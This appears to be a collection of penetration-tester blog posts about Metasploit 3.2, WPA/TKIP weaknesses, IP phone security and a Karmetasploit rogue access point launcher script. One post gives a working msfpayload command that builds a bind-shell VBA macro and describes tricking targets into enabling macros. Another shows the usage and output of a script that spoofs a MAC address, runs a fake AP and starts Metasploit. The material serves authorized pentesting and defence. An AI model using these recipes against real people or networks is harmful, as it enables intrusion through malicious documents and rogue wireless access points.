Ruby in Ubuntu 8.10 Broken for Metasploit use

I recently decided to build a virtual machine with Ubuntu 8.10 to test most of the tools I use before upgrading my main laptop with it, and what do I find? that it is using Ruby 1.8.7 without the patch provided by HD to Ruby to fix an error on the use of Shortnamed Variables. So guys I recommend if you use Metasploit not to upgrade to Ubuntu 8.10 just yet, I'm also getting errors with Nessus.

HD has posted a bug to Canonical and it appears they are working on it for more info

Metasploit 3.2 VBA Support for generating Payloads

Well Metasploit 3.2 is looking every time better and better, one feature I missed was that now you can encode your payloads in to VBA (visual basic for applications) code and inbed the code into a Office Document for clientside attacks during a pentest.

Usage: ./msfpayload [var=val]

you can even create a Javascript payload for generating malicious webpages or HTML documents that can be send to targets.

an example would be:
/msf3/msfpayload windows/shell_bind_tcp LPORT=5555 V > evilmacro.vba
then we take the content of the file generated and paste it in Tools >Macros >Visual Basic Editor in Word or Excel and send our file to our target machine, the default policy of the latest version of Office is to disable macros but thru human weakness and a bit of social engenieering the target may enable or already enabled himself Macros and set the security to low. Once open our payload will execute.

But what if we whant to use something like a Core Impact Agent or any other tool, well whe just head over to the tools folder and inside we will find exe2vba.rb

Usage: ./exe2vba.rb [exe] [vba]

Don't you just love Metasploit? I highly recomed the securityteam blog since from them is from who I learned about this feature.

WPA ain't Dead

I have read many articles and many of them state that WPA is dead, well if you read carefully it ain't dead yet. The attack works on WPA networks where TKIP and QoS are used and only partial decryption happens. In fact if you have your AP logging errors to a centtralized server you can even create triggers for the attack for example a Cisco MARS. One has to start the process of securing the wireless networks and start the migration to AES, once Aircrack-ng is updated and further research is done on this attack I do belive that WPA with TKIP will be dead, so you have some time left but you better move it. I highly recommend you give a rear to the article Battered but not Broken in arstechnica.

Secure Your IP Phones

I have been traveling and immersed in several projects for the last couple of weeks and on all clients I saw IP Phones and I can say that on all clients they where not secured. In fact as you can see in the attached picture I had all the info by just pressing some buttons. I have always give the advice to my clients but it tends to fall in to deaf ears. In fact when asking almost all the guys I know who administer VOIP infrastructures do not even encrypt RSTP stream!! and many have phones in lobby and conference rooms and exposed jacks that only use CDP as a means to acces the VOIP VLAN, voiphopper anyone?

Karmetasploit Script Updated

/kmsapng.tgz

The script will do the following:
- Change the MAC address of the interface
- Set the Interface in Monitor Mode
- Start the Karma AP with Airbase-ng
- Change the MTU Size for the interface
- Set the IP
- Start the DHCPD server
- Set in iptables a redirect of all traffic to it self so as to bypass cached DNS entries
- Start Metasploit.

The script will crate a log file in /root called karma.log, as well as a sqlite db and a capture file all in the same folder.

here is a preview of the script and its option, I posted this same entry in the remote-exploit forums and the Pauldotcom forums and have received very good feedback on it.

bt ~ # ./kmsapng.sh -h
Karmetasploit AP launcher by Carlos Perez for Backtrack3
Version 0.2
carlos_perez[at]darkoperator.com
usage: kmsap.sh

Options:
-m : Mode, either km for regular karmetasploit attack
or kmf for filtered attack where only targeted
clients can associate to the fake AP.
-i : Interface supported by aircrack-ng for injection
-f : Text file with mac addresses of client computers
permited to connect to the fake AP.
-s : SSID name used as the initial broadcast
-h : This help message

Note: mode and interface are required for both type of attacks

Example:

bt ~ # ./kmsapng.sh -i wlan0 -m km -s linksys
Changing MAC Address
Current MAC: 00:0f:c1:08:12:91 (Wave Corporation)
Faked MAC: 00:40:1b:5b:b0:0b (Printer Systems Corp.)
starting fake ap
This will take 15 seconds ..............
DHCPD started successfully
Starting Packet capture to /root/kms.cap
Starting Metasploit

I have tested the script using Ralink 2570, Realtek 8187L and Atheros cards. Let me know if you guys like it and if you have any recommendations. The script is heavily commented in case you whant to take a look.
